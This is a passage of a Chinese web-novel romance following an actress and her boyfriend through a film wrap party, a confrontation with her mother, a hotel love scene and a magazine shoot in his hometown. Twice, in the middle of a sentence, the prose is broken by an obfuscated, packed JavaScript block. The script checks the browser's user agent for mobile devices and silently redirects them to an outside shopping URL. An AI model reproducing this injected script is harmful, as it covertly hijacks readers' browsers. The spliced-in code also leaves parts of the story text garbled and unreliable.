叶薇薇瞪大双眼,像一头被激怒的野兽,朝她吼道:“驰路,我早就看你不顺眼了!你的私生活那么乱,搞不懂为什么周老师会喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560841|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢你,却看不到一直陪在他身边的我。” 驰路早就看出来叶薇薇对周柏屿有意思,但在剧组,她只是对周柏屿比对别人好一点,并没有越界的举动。 嫉妒心可以把人推向恶的一面,只是,驰路没想到,这事会发生在叶薇薇身上。 真正应了那句话“人心不可测”。 驰路并没有被叶薇薇龇牙咧嘴的可怖样子吓到,反而一把甩开她的手腕,笑道:“叶薇薇,爱情跟演戏不一样,演戏能演出真假,但喜不喜欢谁,骗不了人。而你这样的人,配不上周老师喜欢你!” 叶薇薇的身体无力地滑落,瘫软地坐到地上,完全没了方才嚣张的模样,掩面哭了起来。 * 《密林深处》的剧情发展到,陈醉感到陆程真想要抓自己把柄的意图,在第七天,他在给他们倒的酒里放了毒药,想要看他们从自己眼前消失。 然而,他们没倒下,他却身体发软、头疼欲裂。 陆程真笑着对他说:“怎么样,这滋味不错吧!” “你……”陈醉说完,轰然倒地。 陆程真从林墨的遗物里找到摄像头,在陈醉经常出没的地方都安装了摄像头,关注着他的一举一动,他给自己下药的画面也被拍了下来,他在手机里全程看到。 他反将一军,在整瓶酒里都放了迷药,他跟祁梦都佯装喝,反倒是陈醉真喝了。 趁陈醉昏迷之际,陆程真把他手脚绑起来,报警。 等警察赶到时,陆程真把从摄像头里拍到的视频发给警方,里面有陈醉在房间里自言自语说,后悔把苏棠推下悬崖的话,也有他被噩梦惊醒,嘴里说着迪娜、林墨你们不要再来找我了,再来找我,我在梦里还会把你们杀死的话。 警察搜查陈醉的房间,同时去三个被害人被害的案发现场,发现了遗留的证据,将陈醉捉拿归案。 剧情接近尾声,祁梦如愿以偿,陈醉没有用她的方式得到惩罚,而是用陆程真的方式得到惩罚,她才避免了双手沾血。 七天时间,七个人,死了三个,一个被抓,波涛诡谲的古老别墅终于恢复平静。 生死较量间,祁梦生出了勇敢的枝丫;爱情进退中,祁梦看清了自己的心。 陈醉对她的爱是一种近乎变态的占有,而陆程真的闯入,似一根及时出现的浮木,将她从崩溃和罪恶的边缘拯救。 最后一幕是两人下山,走向相反的方向,谁都回头,谁都不知道对方回头看过自己。 风一阵阵吹过,祁梦觉得这风跟来时截然不同,那时的风是冷的,而现在的风却是暖的,吹过脸颊,如温暖的手抚过,那双手是属于陆程真的。 脑中浮现陆程真抚摸她脸颊的画面,那是警察来之前,他最后一次跟她亲密接触,他的手指插/入她的发间,掌心贴着她的脸颊,凶狠地吻她,像最后的告别。 手机在包里震动,祁梦打开手机,是一串陌生号码发来的信息:要不要跟我一起走? 她转头,对上陆程真的视线。 隔着百米距离,两人望着彼此,相视一笑。 故事到此结束,《密林深处》杀青。 是否用开放式的结局,当时讨论激烈,一方从市场角度来看,观众喜欢大团圆结局的,另一方认为开放式结局能让观众有遐想的空间,在爱情里深深受过伤的祁梦,最后会跟陆程真在一起吗? 当时,驰路听说了这事,去跟编剧、顾辞山说了她的想法:“开放式结局比较好,不仅可以给观众遐想的空间,如果这部市场反应好,还可以做第二部。” 提出这个想法的那天,是她得知,最后活下来的是陆程真,而饰演陆程真的,是谢劲舟。 125. 杀青宴上的告白 「人生是一场场戏,我们都是戏中人。 你给我十八岁的蝉鸣和夏天,给我二十四岁的躁动与彼岸。 你不是国王,却一次次为我打开城门,替我开道,为我呐喊。 星云没入海里,我在你的现在和未来,沉溺。」 ——《小蝴蝶的星光》 杀青宴定在当天晚上,提前杀青的演员也都赶到。 驰路在饭局上看到路漫、李浦时,愣了下,他们怎么会一起来?除了一定要两人出现的场合,两人才会同框。 主要演员跟投资方一桌,驰路发现谢劲舟被安排跟剧务人员一起。 名利场中,每个人的价值,都暗中标好了价码。 谢劲舟第一次来到这样的场合,厅里设宴十几桌,他在靠后的位置,同一桌的,没一个认识的。 朋友聚会中,被人称为“舟爷”“舟爷”的芳町镇大佬,待遇一落千丈。 他不喜欢这种场合,不喜欢人与人之间谄媚的奉承,好像今天我捧高了你,你明天就能帮我一样。 他知道,这世上没有永远的朋友,只有永远的利益。 他们不过因为一场戏聚在一起,以后各奔东西,很多人,恐怕一辈子都不会再见面。 谢劲舟抬头看最前面中间的位置,那里有驰路,她正背对着自己,身旁坐着周柏屿,他们在聊着什么,她侧头看周柏屿时,他能看到她的侧脸。 在剧组三个月,谢劲舟第一次感到两人的差距,她是顶流明星,而他不过是因好运而能参演的普通人。 他跟她,处在不同的世界。 一种不爽感,从他心头冒出来。 谢劲舟收回视线,埋头喝了几口水,听到手机振动,点开看,是一封邮件,通知他华扬艺术馆的设计,他成功中标了。 拍戏期间,除了对演技进行刻意练习外,谢劲舟还完成了华扬艺术馆的标书投递,上个月参加了他们的线上开标会议。 华扬艺术馆是一所大型艺术馆,想要竞标的建筑事务所无数,能中标的,一定出类拔萃。 接到这个项目,无疑能让公司起死回生,谢劲舟给对方回了邮件。 刚回完邮件,走来一名工作人员,弯腰跟他说,让他去第一排中间的位置。 谢劲舟抬头朝第一排看了看,原本满满当当的一桌,空出来一个位置。 这是谁的决定?难道是驰路? 谢劲舟没有犹豫,起身朝第一排走去。 这时,他这桌的其他人才纷纷抬头看他,见他在第一排坐下,纷纷议论起来: “有大牌情人就是不一样。” “什么大牌情人?” “你不知道吗,他的大牌情人是驰路。” “竟然能傍上大明星,我们什么时候才有这样的好运气啊。” “别想了,这种事怎么可能落到我们头上。除非,我们也长了一张跟谢劲舟一样帅的脸。” …… 谢劲舟走到第一排,看到空着的位置在言嘉芝旁边,拉开椅子刚想坐下来,听到言嘉芝说:“谢老师,你坐我这儿。” 谢劲舟看去,言嘉芝座位旁是驰路,她的用意很明显,给有情人让座。 “谢谢言老师。”谢劲舟帮言嘉芝拉开椅子,自己绕到旁边的座位坐下。 谢劲舟坐下来,驰路朝他看去,朝他眨了下眼,意思明了。 驰路跟他礼貌地打招呼:“谢老师。” 谢劲舟叫她“驰老师”。 周柏屿见谢劲舟过来,笑容顿时散去,但出于礼貌,也跟他打了招呼。 周柏屿的视线很快落到驰路身上,问她:“驰老师,你还会在这里待多久?” “还没定,周老师呢?” “定好明天的票了。” “提前祝周老师一路平安。” “谢谢。” 周柏屿还想跟驰路说什么,看到她拿起手机,脸上露出笑容,不同于看他时礼貌的笑,而是发自内心甜蜜的笑。 他看到驰路去看谢劲舟,看到她在桌下悄悄地握住他的手。 他心里很不是滋味,什么样的女人他没见过,在剧组里,多的是喜欢他的,多的是追他的,他也谈过几段恋爱,被外界传得变了样,说他是“换女人如换衣服”的花花公子。 每段恋爱的对象基本是同一剧组里的演员,没有所谓的假戏真做,只是因为对方追他追狠了,他也就答应了,都是玩玩,谁都不当真。 但也会遇到当真的,拍完戏还对他纠缠不休,这种他就会断了跟对方的所有联系。 他不喜欢纠缠不清的感情,彼此在一起,各取所需罢了。 他看到驰路跟谢劲舟在一起,提醒过驰路:“驰老师,跟谢老师的感情不用当真,演完戏就结束了,你们都会回到彼此的生活中,以后不会再有交集。” 但现在看他们,戏杀青了,两人的感情丝毫没有淡去,看向彼此的眼神,都带着光。 他记得驰路当时说:“周老师,谢谢你的忠告。但一旦把感情当了真,是戒不掉的,像我们走上演戏这条路。” …… 宴会前,由导演、制片人致辞,都是官方感谢之词,接下来是主演团队致辞,按照咖位大小上台致辞。 先是咖位最大的周柏屿致辞,再是驰路上台致辞:“非常荣幸能参演《密林深处》,在这三个月里,感谢顾导选择我来演祁梦,感谢制片人秦老师为剧组的付出,感谢各位剧组人员,也感谢跟我一起演戏的伙伴们,是你们,才有了《密林深处》。” 这是她参与的第一部电影,电影杀青的那刻,她竟有种恍若隔世之感,短短三个月,却像过了三年,而这一切,像经历了一场梦。 她撕掉之前顶流偶像剧明星的标签,演一个人物复杂的角色。 她走在重塑自我的路上,跟戏里的祁梦一样。 台上的驰路穿着黑色紧身针织吊带,露出一截白色的纤细腰身,外面套着一件雾霾蓝的衬衫,穿着一条黑色破洞牛仔裤,配一双及膝黑色长筒靴,穿搭又酷又飒。 她的耳朵上戴着蝴蝶耳挂,纤长的脖颈上戴着一条黑色蝴蝶颈链,都是他送她的。 在这样的公众场合,戴着他送她的礼物,有种只有彼此知道的隐秘快感。 言嘉芝说完致辞,是谢劲舟。 谢劲舟有些讶异,论戏份,他的戏份是比许斯年、向眠多,但许斯年、向眠在圈里到底是他的前辈,怎么也轮不到他。 他走上前,简单说了感谢的话,最后看向驰路:“最后,我还要感谢一个人,如果不是她,我不会参演这部电影。因为她,我选择接这部戏。因为接这部戏,我才知道,这六年不是我一个人在演独角戏,我也会接到属于我心动的剧本,剧本里不只演一见钟情,也会演久别重逢。我们一起演这出戏,不论是喜剧,还是开放式结局,我都愿意跟你一起把这出戏演完。戏演完了,我们的这出戏,未完待续!” 话音落下,驰路第一个鼓掌,随后掌声纷纷响起,还响起了阵阵嘘声。 知道内情的人都知道谢劲舟在说什么,也知道他谢的那个人是谁。 言嘉芝小声跟驰路说:“你俩是故意的吧?” “什么故意?” “约定好穿情侣穿?” 台上的谢劲舟穿的也是一件雾霾蓝的上衣,跟驰路的不是同一个款式,却是同一种颜色,像极了情侣装。 这两件衣服,都是驰路挑选的,价格不菲,驰路要送给谢劲舟,结果被拒绝了:“我们各买一件,算送给对方的杀青礼物。” 驰路知道谢劲舟接了这部剧,分阶段拿到了片酬,不至于没钱,也就没跟他争着给钱。 驰路在言嘉芝耳边悄声说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560842|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我们送给对方的杀青礼物。” “要命,甜死我了!”言嘉芝弯唇笑,“祝你们的未完待续是部浪漫偶像剧。” 驰路也笑:“谢谢芝芝。” 驰路看向台上的谢劲舟,他少了点张扬,多了份成熟,但他还是那时少年,不论时光如何流转,他对她的喜欢,一直没变。 谢劲舟重新落座,接下来别人说了什么,驰路没注意听,她在桌下悄悄握住了谢劲舟的手,她外面套着的宽松衬衫,遮住了两人握着的手,后面的人不会看见。 她低声问他:“谢老师,你跟谁的戏,未完待续?” 谢劲舟反握住她的手,挑眉道:“驰老师,你愿意接跟我的爱情剧本吗?” 驰路眉眼含笑,用只有两人能听到的声音说:“我愿意。不过,前提是,我是唯一的女主角,也是你唯一的搭档。” “好。”谢劲舟说,“你是我唯一的女主角,也是我唯一的搭档。” …… 吃饭时,驰路感到路漫时不时会看向他跟谢劲舟,让她觉得不自在。 她不在乎路漫同不同意她跟谢劲舟在一起,但她在乎,路漫会因为这事而在工作上卡她。 饭局中,时不时有人过来敬酒,驰路一一碰杯,却发现路漫离开了座位,随后旁边的谢劲舟也离开。 编剧跟驰路还在寒暄,驰路尽快结束了话题,跟编剧说要去下洗手间,便默默地跟在谢劲舟后面。 他们去了外面的露台,在离门口最近的一张桌子上落座。 路漫直入主题:“谢劲舟,我这次来,就是要当面问问你,你上次说的话,还算数吗?” 谢劲舟在路漫面前收起了他的那股散漫劲儿和痞气,端庄地坐着,双手放在桌上,姿态松弛,不卑不亢地回:“阿姨,我上次只是答应您,我跟驰路在剧组里会注意,不会让别人偷拍到我们有除了搭档之外的照片,我做到了。其他的,我答应过您吗?” “你不是答应我,只要戏杀青,你就会主动跟驰路分手吗。” “阿姨,戏杀青了,陆程真跟祁梦分开了。”谢劲舟说。 “谢劲舟,你这是玩什么文字游戏!”路漫气道,“你跟驰路是不可能有结果的,戏拍完了,驰路会回北京,你呢,还会留在这里,你们跟六年前一样,都会回到自己原来的轨迹。” “谁说我一定要回到原来的轨迹?”谢劲舟把华扬艺术馆中标的邮件给路漫看,“以后,驰路要去哪里演戏,我就把标书投到哪里。我们不会分开!” 路漫在一个月前没有继续待在驰路身边,一是因为谢劲舟答应了她的要求,二是因为当时她跟谢劲舟打这通电话的当天,她从小孙那儿收到了十五个给她别墅设计的设计方案,其中一个是谢劲舟的,而他的设计方案是里面最契合她理念的。 她不知道谢劲舟是有意为之,还是无意中投的。她有些心动,不想跟谢劲舟关系搞僵。 “你能不能现实点?”路漫拔高声音,“驰路是谁,她是现在正当红的演员,上次你跟她上热搜的事,已经破坏她的名声了,你是想把她拉下水,让她以后接不到好剧本吗?” “阿姨,我跟您一样,希望阿驰越来越好。您放心,我跟阿驰谈恋爱会注意,不会让别人发现。”谢劲舟坚定道,“我的想法,还跟六年前一样。一、我不会跟阿驰提分手,这辈子都不会。二、就算分开了,也不是因为你。三、我希望,我不在她身边的日子,您能好好照顾她。现在又多了一条,四、她去哪里演戏,我就去她演戏的地方找她。” “谢劲舟,你疯了,你真的疯了!”路漫没想到谢劲舟会为了驰路做到这种程度,这已经不只是爱了,而是偏执了。 “阿姨,如果你认为我爱阿驰是疯了,那我已经疯了六年,我会一直疯下去!” 少年永远热烈,永远站在喜欢你的那一页。 126. 被吻得浑身颤栗 「小蝴蝶,你不用跟岁月争韶光,你只管肆意生长。 你的神明,会让你沸腾,让你滚烫,让你岁月无恙。」 ——《小船靠岸》 杀青宴结束,驰路并没有坐保姆车,而是跟谢劲舟坐在一辆二手车里,坐起来跟坐在谢劲舟破旧的越野车里差不多,有比较强的震感,车里还有烟味。 她想起了六年前来这里的第一天,她独自站在车站前,没有人来接她,在陌生的环境里,她像极了被人抛弃的流浪猫。 等了好久才打到一辆车,比现在坐的这辆车要破。 司机很热情,跟她聊了不少,但她无心聊天,只是象征性接话。 她想过,要不然跟路女士低头,求她让她回去,让她跟她在一起,但她做不到。 既然路女士选择了爱情,她就不做她的累赘,她要给她看,她一个人也可以过得很好。 命运如此优待她,在芳町镇,她遇到了她的神明。 驰路已喝得醉醺醺,侧头看谢劲舟,他正在看她,两人的视线瞬间交汇,看向彼此的眼睛都那么亮,都像装着星星。 驰路往谢劲舟那儿挪,靠在他的肩头,挽住他的胳膊,亲上他的脸颊,几乎用威胁的口吻说:“舟哥,你要是敢离开我,试试看!” 谢劲舟把她圈在怀里,揉了揉她的脑袋,亲了下她的额头:“傻瓜,我就没怕过什么,但离开你,我真怕。” 从一开始坐上这车,两人的小动作就不断,深情对望、悄悄牵手也就算了,现在当着灯光大哥的面直接你侬我侬,坐在副驾驶的向眠看不下去了,扭头看他们:“阿驰,谢老师,你们能不能收敛点?” 驰路朝向眠笑道:“眠眠,你看到了吗,我找到我的小船了,他没有离开我。” …… 到了酒店,谢劲舟忘记了之前的约定,没有先去自己的房间,而是跟着驰路一起过去,逢人就说:“驰老师喝醉了,我送她回房间。” 恨不得昭告天下:我跟她什么关系都没有,她只是我的演戏搭子。 但任谁都看得出来,他这不过是欲盖弥彰。 谁都能看出来谢劲舟也喝醉了,走路都有点踉跄,却时刻护着驰路,寸步不离。 等电梯时,谢劲舟看到路漫了,她没有给他好脸色,她想把驰路拉回身边,谢劲舟却在人群中拽紧驰路的手,仿佛她是他千万不能被弄丢的宝贝。 出了电梯,路漫看着谢劲舟跟驰路并排走,想上前说点什么,李浦拉住了她:“漫漫,算了。” “什么算了!”路漫甩开他的手,“你在说什么?” “这六年,你看过阿驰交过一个男朋友吗?”李浦说,“你希望她丧失爱的能力,在偶像剧里或是在电影里,只要演技,而没有感情?你又不是不知道她演《摇摇晃晃的青春》《小执着》时,入戏有多难,演得有多痛苦。” 路漫收回想要迈出去的步子,看着他们的背影越走越远,重重地叹了口气。 …… 一进房间,谢劲舟一把关上门,把驰路按在一旁的玄关处,托住她的后脑勺,凶猛地衔住她的嘴唇,吻了又吻,反复碾压,拼命掠夺,探入她的舌尖,扫荡她唇齿的每个角落,似乎要将她的气息全部夺去。 驰路本是喝醉了,被他吻得浑身颤栗、腿发软,双手勾住他的脖颈,整个人靠在他的胸膛上,属于他的清新的皂香混合着烟酒味,钻入她的鼻间。 他的呼吸那么滚烫,放在她腰间的手还在不停摩挲着,她的每颗细胞都像被火灼烧了一样。 得以喘息之际,驰路喊着他的名字:“舟哥,谢劲舟……” “阿驰,我在。”谢劲舟含着她的舌,一下一下划着她舌尖,引得她微微喘息。 谢劲舟看着她泛红的脸颊、迷离的双眼,一把将她抱起来,她像树袋熊一样跨坐在他腰上。 现在她比他高,俯身看他,笑着逗他:“亲不到我了吧。” 谢劲舟想去亲她,她就故意往后仰,她仰得次数多了,谢劲舟不耐烦了,把她往上一提,照着她的屁股啪啪打了两下:“再不乖,还要有其他的惩罚。” “我就不乖,看你能把我怎么样。”驰路挑眉,细长的狐狸眼里闪过一丝狡黠。 他打的那两下并不重,仿若情人间特有的情调。 谢劲舟一把揽住她的腰肢,往他的怀里一带,毫无防备下,她的身体撞上他结实的胸膛,继而被他捏住双颊,嘴巴不得不像需要水的鱼。 他就这样再次轻而易举地钻进她的唇舌间,一一扫荡。 谢劲舟边吻她边抱着她往沙发上走,走到沙发前,一把将她放下,重重地压在她身上,从她的唇吻到她的耳朵,再到她纤长的脖颈,每一处都留下他带有湿意的热度,每一下都烫在她的心尖上。 驰路外面的雾霾蓝衬衫外套滑落下来,露出纤薄的肩,肩头还有被吻过的吻痕,谢劲舟偏偏还在先前的吻痕上吮吸,旧的吻痕上添了新的,在其他空白处,又添了几个。 他吮吸之处,都让她的身体如过电般,窜上来细细密密的酥麻。 驰路双腿攀上谢劲舟的腰,双手抓挠着谢劲舟的头发,呼吸落在他的耳畔,带着一点可怜的委屈:“谢劲舟,不要离开我。” “不会,我不会再离开你。”谢劲舟把脑袋埋在她的胸口,吻她精致的锁骨,“我会去你的城市找你。” 他不会再放她走,她有大好前程,她不会被困在芳町镇,她是蝴蝶,蝴蝶注定是要飞往高空的。 而他是一叶舟,他要沿着海岸线划向海中,一直划到有蝴蝶的地方,她在哪里,他就划向哪里。 只要他在,她就有一处可以停靠的地方。 他要做她,一辈子可以停靠的小船。 * 翌日,路漫跟李浦回北京了,走之前跟驰路说:“阿驰,别怪妈多嘴,你跟谢劲舟的事,你要好好考虑,如果早晚都要分,不如现在就做个了断。” 驰路说:“妈,活了二十四年,我最大的遗憾是,六年前离开了谢劲舟,现在,我不会让遗憾再发生。” 她不会再松开他的手。 驰路在酒店休息了一天,第二天要去芳町镇,有《Free》杂志的拍摄,对方本来要派车过来接,驰路说不用,让谢劲舟当了她的司机。 本次拍摄是为了宣传驰路主演的影片《小执着》,该影片元旦前一天上映。 《小执着》是一部从校园到都市的酸甜暗恋青春影片,取景会在学校和校外,拍摄主题【暗恋】。 在来之前,关于取景地,驰路特意跟对方沟通了,学校选在了芳町三中,校外选在了台球厅、网吧。 先拍的是校外场景,驰路和饰演男主角的演员邵忱穿着都市着装,驰路留着一刀切的短发,穿着一袭黑色背心裙,站在网吧前,遥遥地望着马路对面的邵忱,而邵忱并没有看向她。 随后,两人换了位置,邵忱望着驰路,驰路并没有看向她,体现时隔多年未见,两人久别重逢,想看彼此却又藏起心思的暧昧悸动。 台球厅前,拍下雨氛围的景,邵忱举着一把白色透明伞,为驰路撑伞,驰路蹲在地上,像可怜的需要被人领养的小猫。 驰路抬手拽住邵忱的衣角,看向他的眼神里,透出不舍的爱恋。 他们在这场雨中,轻轻相拥,像拥住无数个失去的日日夜夜。 摄影师看了看拍的效果,两人的镜头感都很好,就是驰路拥抱邵忱时,少了点什么。 摄影师提议:“驰老师,你看下,现在的拥抱是静态的,再来一个你冲向邵老师,被他抱住的。” 驰路刚想说“好的”,结果一旁的谢劲舟说:“许老师,他们的拥抱适合静态的,动态的不适合久别重逢,适合热恋期。” “……” 拍完校外的戏,驰路跟邵忱先去一家服装店里换好校服,随后,一行人去往芳町三中,由于不远,便步行过去。 自从拍完《小执着》,邵忱有一年多没见驰路,这次见她,发现她的状态跟一年前截然不同,一年前的她,不苟言笑,看起来特酷,跟谁都不主动搭话,跟谁都有一种保持距离的疏离感。 但这次不同,她脸上时常有笑容,笑容像浸了花蜜,典型的陷入热恋中的女生。 他发现她时常不经意地看向谢劲舟,他在网上看到过他们的绯闻,没当真,驰路类似这样的绯闻不少,在娱乐圈天天绑定CP、解绑CP的事也时有发生,他只当是资方为了提高影片的热度,故意放出来的绯闻。 直到邵忱来到这里,亲眼看到,才相信,网上的不是 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只剩下谢奶奶一个人的谢家,是冷清的、孤寂的,驰路希望,有一处地方,是可以为谢奶奶热闹的。 等一行人到面摊前,谢奶奶正招呼着一个扎马尾辫的女生,问她要吃什么面。 驰路故意拉着谢劲舟藏在人群后面,等谢奶奶招呼完女生,看到一群人,吓了一跳,问他们要点什么。 这时,驰路从人群中走出来,朝谢奶奶挥手:“谢奶奶,来碗鸡蛋饸饹面!” “好嘞!”谢奶奶见是驰路,又惊又喜,眉开眼笑道。 “先别做,晚点再来,我现在在拍杂志。”驰路走上前跟谢奶奶说,又跟谢奶奶说了下要拍面摊的事,谢奶奶连连摆手:“在这里拍什么啊,不好看!” “没事的,拍出来,修片师会调颜色,会很好看的。”驰路循循善诱,见谢奶奶不信,从摄影师拿来相机,翻出刚才拍的照片给谢奶奶看。 谢奶奶没想到灰扑扑的网吧外墙拍出来很不错,也就同意了。 在一旁吃面的女生,见他们是来拍照的,刚要问影不影响到他们时,看到驰路,连忙放下手中的筷子,冲上前,激动地站在驰路面前,几乎语无伦次:“驰……老……师?” 驰路看着小姑娘,一看便知道是自己的粉丝,礼貌地跟她打招呼:“我是驰路。” 女生激动地伸手:“驰老师,我很喜欢您拍的电视剧,更喜欢您对待演戏的态度、对待人生的看法。” “哦?”驰路跟她握手,面露惊讶,还是第一次听到有人这样当面称赞她。 “您在演完《摇摇晃晃的青春》,接受采访时,您说,演戏不只是在演角色,而是在演人生,把自己的真情实感投入到角色中,演角色的人生;您说,不管你接到什么样的角色,不管角色的戏份多还是少,你都会认真去对待,仔细揣摩剧本,研究角色特征。驰老师,我喜欢您的这份专注和认真。”女生一口气说完,再没有方才的结巴。 “谢谢!”能得到粉丝这么具体的认可,驰路深感欣慰。 “可以帮我签名吗?”女生疾步走到刚才的小桌前,从一旁的双肩包里翻出一支笔,又找出一本手账,走回来让驰路签名,“驰老师,再……送我一句鼓励的话,可以吗?” 驰路想了想,签完名递给女生,女生看着上面潇洒遒劲的字体,啪嗒掉下泪来,不只感动于能拥有驰路的签名,还有她写的那句话:追风赶月莫停留,平芜尽处是春山。【注】 “加油!”驰路举起右手,朝女生作出努力的手势,“花开会有时的。” “谢谢驰老师!”女生擦掉眼泪,“我会努力考去北京的!” “好!”驰路看着女生走回去,埋头吃面,不禁在心中感慨,这个女生是她遇到的有边界感的粉丝。 在面摊前拍完,邵忱走过去看拍摄效果,驰路走到谢劲舟身边:“要不要跟我拍几张?” 谢劲舟想都没想,拒绝道:“不合适。” 旁边的小苏也听到了,跟驰路说:“驰姐,不太好吧。” “就一张。”驰路跟小苏说,“我跟你们一人拍一张。” “……” 127. 在他唇上狠狠碾磨 「迷雾穿透森林,喜欢从未缺席,爱从不贫瘠。 未来不可期,唯有你是我生命里的奇迹。 这世上,唯一热爱的具象,是你。」 ——《小蝴蝶的星光》 为了体现驰路没对谢劲舟有特殊待遇,现场想跟驰路拍照的,驰路都配合了,包括她的粉丝。 得知内幕的小苏在往学校走去的路上跟驰路说:“驰姐,你想跟谢老师拍,也没有必要做到这份上吧。” “知不知道,做戏要做全套。” “……”好吧,你不怕麻烦,就做全套吧。 六年前,她闪过要跟谢劲舟在“好再来小面”面摊前拍照的念头,没能如愿就离开了芳町镇,而现在有这样的机会,她不想让机会轻易溜走。 驰路到摄影师那儿看照片,一张一张地翻过,她都只扫一眼,唯独到她跟谢劲舟的合照时,不禁多停留几秒,还跟摄影师说:“这张我笑得不太自然,要不要重拍一张?” 为此,跟别人的照片,不管拍成什么样,都只拍了一张,但跟谢劲舟的,拍了足足有十张,每张照片里的她姿势、动作都不一样,时而很酷地双手环胸、冷着脸看镜头,时而侧头看谢劲舟,时而抬手搭在谢劲舟的肩头,时而两人对视,都勾着唇,眼眸里都有笑意。 他们仿佛不是在拍搭档合照,而是在拍情侣十连拍。 六年前未完成的念头,终于如愿以偿。 …… 学校的拍摄,主要在院墙外,还有笃行楼。 拍完院墙外的部分,邵忱问驰路:“驰老师,你高中是不是在这个学校上过一段时间?” “嗯。”驰路走进学校,他们挑的时间段是周六,恰好学生放假,遇到的学生也都是住宿生。 这里跟之前没太多变化,只是再走进来,感觉完全不同,她好像看到了六年前的自己,穿着校服,扎着马尾辫,戴着眼镜,在所有人面前扮演乖乖女的角色。 当年那个乖乖女,为了寻得一处庇护,找到了她的神明。 她被人锁在器材室时,是他将她及时救了出来,跟她说“阿驰,从现在起,老子不会让任何人欺负你!”。 为了让她不再受欺负,芳町镇大佬主动送她到笃行楼下,用宣誓主权的方式告诉别人:我们不是陌生人,我们的关系不一般,这便是他说的“老子有的是办法保护你”。 废弃烂尾楼里,为了她的清白,他磕了二十个响头,还反过来安慰她:“阿驰,别哭,老子没事。” …… 她走出了芳町镇,她的少年,却还在原地等她。 她想,世上没有比这更好的相逢诗。 “为什么要选择在这里拍?”邵忱看了看又旧又老的笃行楼,皱了皱眉问。 “因为,这里曾种过一枚热烈的盛夏。”驰路说,“盛夏里,住过我浮光掠影的青春,却此生难忘。” * 拍完戏,驰路跟谢劲舟提议去笃行楼里逛一逛,谢劲舟附议。 走到笃行楼下,驰路抬头往上看,有种恍若隔世之感,栏杆前空荡荡,她却仿佛看到了有无数的学生从走廊上来来回回地走过,其中有一个戴着眼镜、扎着马尾辫、身高醒目的女生走在人群中,迎面走来一个雾霾蓝的少年,从明明看见却当看不见,到看见了还故意抬手跟她打招呼。 过往画面一幕幕在驰路眼前掠过,心头勾起对往事的怀念。 在这里,不过短短八个月,却足够承载她全部的青春。 “怎么不走?”谢劲舟往前走了两步,见驰路没跟上来,转身看她。 “来了!”驰路大踏步地走到他面前,习惯性地抬手,想牵谢劲舟的手,但很快反应过来,公众场合,跟他不能有亲密接触,立马又收回手。 谢劲舟见状不由得勾唇笑。 “笑什么!”驰路感到一丝尴尬。 “阿驰,你就这么爱我?”谢劲舟挑眉。 “我从没对谁有过执念,爱不爱谁,我收放自如,就像弹簧一样,知不知道?”驰路不想落于下风,“想要让我爱你,也不是不可以,具体的,要看你的表现。” “这有什么难的。”谢劲舟轻笑,压低声音,“我的爱,永远比你更胜一筹!” 驰路不由得绽放笑意。 她喜欢的少年,总能对她轻易地袒露心声、说尽爱意。 人行道一旁的栾树正值结果期,结了一树一树的粉色果子,一串串,如同连绵不绝的铃铛。 她想起史铁生写的那句“大树下,破碎的阳光星星点点,风把遍地的小灯笼吹得滚动,仿佛喑哑地响着无数小铃铛。” 此时,果子还没落地,那一个个小铃铛随着风摇啊摇,果子几乎要落地。 驰路伸手,想着,会不会有一枚果子落下来。 几秒后,啪嗒,一枚果子落在她的掌心,她眉眼间顿时露笑,拿着粉色小灯笼,问谢劲舟:“舟哥,你知道栾树的花语吗?” “不知道。” 来这里前,驰路没有见过这种树,常常见到的是杨柳树、梧桐树,记得六年前看到满树粉色果子时,她急于捕捉这初秋的美好,拍下一张张栾树的照片,有白天的,有夜晚的,它们在不同时间段呈现出不一样的美。 她也特意去查过栾树的花语,一直记到现在:“栾树的花语是,奇妙震撼,绚烂一生。”【注】 “不错。”谢劲舟从驰路手心拿过那枚小灯笼,看着她的眼睛,神色桀骜又深情,“阿驰,我不祝你功成名就,我祝你绚烂一生。” “所谓绚烂一生,不是一定要站在多大的舞台上,也不是一定要接的剧本都是主角,而是,你可以在合适的花期绽放,可以按照自己的节奏生活,可以做你自己!” “谢谢你,舟哥。”驰路直视着他的眼睛,眸子里似有星光,“我们都要在瞬息万变的世界里,侍奉于自己的身体,忠诚于自己的意志,臣服于自己的心。” …… 走进笃行楼,在无人的楼梯上,驰路的手被人悄悄牵住,紧紧握着,她听到他说:“我的表现如何,够不够你爱我?” 声音落在寂静的狭小的空间里,仿佛能听到一丝回响,敲荡在驰路心上。 “谢劲舟,你给我收敛点!”驰路瞪他。 “有本事,你别心跳加快啊!”谢劲舟吊儿郎当地笑。 这浑蛋,仿佛还是十八岁的少年,桀骜不驯,张扬不羁,故意找她的茬,故意激她。 驰路却不再是当年那个伪装的乖乖女,她露出本来的样子,一把将谢劲舟按到墙上,摸着他心的位置。 隔着一层薄薄的衣料,她听到了从他胸膛里震动的心跳声,如同擂鼓,像不谙情事少年的心跳。 想要沉默无声,却震耳欲聋。 驰路靠近他,再靠近他,几乎贴近他的胸膛。 一个穿着校服的女生,面前是穿着黑色短袖、黑色长裤的男生。 一个看起来乖,但利落锐利的一刀切短发看起来很酷飒,一个微微曲着一条长腿,懒懒地靠着墙,雾霾蓝的头发掉了色,成了很特别的灰绿色,长相痞帅,一看就不好惹。 